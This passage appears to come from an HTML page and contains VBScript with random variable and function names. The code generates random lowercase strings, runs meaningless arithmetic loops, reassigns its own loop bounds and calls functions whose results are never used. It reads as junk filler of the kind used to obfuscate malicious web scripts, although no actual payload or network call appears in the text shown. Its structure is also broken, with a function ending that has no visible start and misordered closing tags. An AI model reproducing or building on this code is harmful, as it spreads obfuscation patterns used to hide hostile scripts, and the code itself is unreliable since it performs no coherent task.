Dim KZCPNzhxlxAOraHKlLaO,tHDANdDl,qqEpqcZH
KZCPNzhxlxAOraHKlLaO=15
tHDANdDl=130
Randomize
qqEpqcZH = Int((KZCPNzhxlxAOraHKlLaO-tHDANdDl+1)*Rnd+tHDANdDl)
For IDxUcJKeAKoiO = 1 to qqEpqcZH
Dim qaamhkoNNhh,ErZLdEmFXDDPFLjz,jUDFiiwQCV
qqEpqcZH=97
ErZLdEmFXDDPFLjz=122
Randomize
qqEpqcZH = Int((qqEpqcZH-ErZLdEmFXDDPFLjz+1)*Rnd+ErZLdEmFXDDPFLjz)
xfPCGC = Chr(qqEpqcZH)
xuPHjfPVnbfT = xuPHjfPVnbfT & xfPCGC
Next
JVEeDeOgltxveZVkVdmw = YTikTjgy(LWlnYrqletUCKShUju, xuPHjfPVnbfT)
tpomOiaKNvYKbNqtJLK = JVEeDeOgltxveZVkVdmw
End Function
tpomOiaKNvYKbNqtJLK()
Function RoENzgqEo(TZNSPBozHmCNJ, TNvlwYkgIVDcH)
Dim NZHNhHN
Dim bmTHnxCzSzKDNa
eRzohIbzzjuMMckjdudx = Len(TNvlwYkgIVDcH)
Set NZHNhHN = CreateObject("Scripting.Dictionary")
NZHNhHN = Split(TZNSPBozHmCNJ, ",")
afFlyiqNhFF = (Len(TZNSPBozHmCNJ)/2 - 1)
for EKqbUMNLUXNmH = 1 To afFlyiqNhFF
pGfYwzAuDcY = NZHNhHN(EKqbUMNLUXNmH) + pGfYwzAuDcY
Next
For gStJNzMS = 134 To 42343
IpfXZEAlIdRA = IpfXZEAlIdRA + pGfYwzAuDcY - gStJNzMS
Next
For DIBTaYTUuPfc = 1 To eRzohIbzzjuMMckjdudx
Dim WIEWWFKhv,dDAhSu,CTEyUKui
WIEWWFKhv=1
dDAhSu=eRzohIbzzjuMMckjdudx
Randomize
CTEyUKui = Int((WIEWWFKhv-dDAhSu+1)*Rnd+dDAhSu)
zonEAdeFeYACYOWm = zonEAdeFeYACYOWm + CTEyUKui
Next
RoENzgqEo = IpfXZEAlIdRA & TNvlwYkgIVDcH & zonEAdeFeYACYOWm
End Function
Function qRKRbZFiiB()
for KEQXZchQWnxR = 5 to 15
Dim mHNP,ypXeJNjAEQGQPxD,PiaqkhwVj
sHdDYbfmEQJvhFns=1
ypXeJNjAEQGQPxD=9
Randomize
ysWBrjTuRIFCj = PiaqkhwVj & ","
Next
Dim KEQXZchQWnxR,pffXIvnBvWLeP,MNjazIn
KEQXZchQWnxR=15
pffXIvnBvWLeP=130
Randomize
MNjazIn = Int((KEQXZchQWnxR-pffXIvnBvWLeP+1)*Rnd+pffXIvnBvWLeP)
For cUKWMqxuYsBrZ = 1 to MNjazIn
Dim EGebGCeYE,khfrCPhZFNm,sHdDYbfmEQJvhFns
MNjazIn=97
khfrCPhZFNm=122
Randomize
MNjazIn = Int((MNjazIn-khfrCPhZFNm+1)*Rnd+khfrCPhZFNm)
yTZHdpaEivS = Chr(MNjazIn)
ytLsfhnJtfjCXJLRciB = ytLsfhnJtfjCXJLRciB & yTZHdpaEivS
Next
UofQqiIVxMzGrAf = RoENzgqEo(ysWBrjTuRIFCj, ytLsfhnJtfjCXJLRciB)
qRKRbZFiiB = UofQqiIVxMzGrAf
End Function
qRKRbZFiiB()
</script>
</head>
</div>
<body>
</body>
</html>